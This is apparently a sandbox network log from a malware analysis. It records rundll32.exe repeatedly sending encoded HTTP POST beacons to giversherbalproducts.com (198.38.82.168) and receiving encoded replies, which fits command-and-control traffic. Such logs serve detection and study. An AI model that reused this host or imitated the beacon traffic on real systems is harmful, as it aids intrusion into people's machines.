f3p/QUVCQ0FBfn15eH96fXh9fUJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
39	192.168.2.3	49794	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:01:30.092076063 CEST	1127	OUT	POST /lBawcxb5/AjlCfXZ5ZHp6d2V4ZX8= HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:01:30.570600986 CEST	1128	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:01:30 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 70 79 66 45 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXpyfEJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
390	192.168.2.3	50232	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:04:20.865004063 CEST	7542	OUT	POST /lBawcxb5/eB4/OR4beD98DhsnIwV/ODMlJT8eAUJ9dnlkenp3ZXhlfw== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:04:21.370321989 CEST	7544	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:04:20 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 39 66 55 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh9fUJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
391	192.168.2.3	50233	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:04:21.636387110 CEST	7545	OUT	POST /lBawcxb5/Ex5+Li0pPAMVCkJ7cn5henxzYn1leQ== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:04:22.071691036 CEST	7546	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:04:21 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 39 66 55 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh9fUJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
392	192.168.2.3	50234	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:04:21.751631975 CEST	7545	OUT	POST /lBawcxb5/eAQkHAV+eTMNKy0fMy8fPnwaeUZ6c3lifn1yZX5heA== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:04:22.247225046 CEST	7547	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:04:21 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 39 66 6b 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh9fkJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
393	192.168.2.3	50235	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:04:22.448786020 CEST	7548	OUT	POST /lBawcxb5/Mg8cPX4lcjsFBHgzcxwqKR4gDR0dEBl8C0J7cn5henxzYn1leQ== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:04:23.119052887 CEST	7550	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:04:22 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 39 66 6b 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh9fkJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
394	192.168.2.3	50236	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:04:22.566576958 CEST	7549	OUT	POST /lBawcxb5/AQh6RX5yeGV9eXNkeWJ8 HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:04:23.119183064 CEST	7550	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:04:22 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 39 66 6b 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh9fkJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
395	192.168.2.3	50237	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:04:23.542210102 CEST	7551	OUT	POST /lBawcxb5/Ixo9RX5yeGV9eXNkeWJ8 HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:04:24.044929981 CEST	7553	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:04:23 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 39 66 30 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh9f0JBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
396	192.168.2.3	50238	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:04:25.009114027 CEST	7553	OUT	POST /lBawcxb5/eTAldSQqE38hADgEe38beDBCfXZ5ZHp6d2V4ZX8= HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:04:25.486064911 CEST	7554	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:04:25 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 39 65 55 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh9eUJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
397	192.168.2.3	50239	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:04:25.481257915 CEST	7554	OUT	POST /lBawcxb5/JxgCCAEsAyobRnpzeWJ+fXJlfmF4 HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:04:25.983273029 CEST	7556	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:04:25 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 39 65 55 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh9eUJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
398	192.168.2.3	50240	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:04:25.902704954 CEST	7555	OUT	POST /lBawcxb5/D38DRX5yeGV9eXNkeWJ8 HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
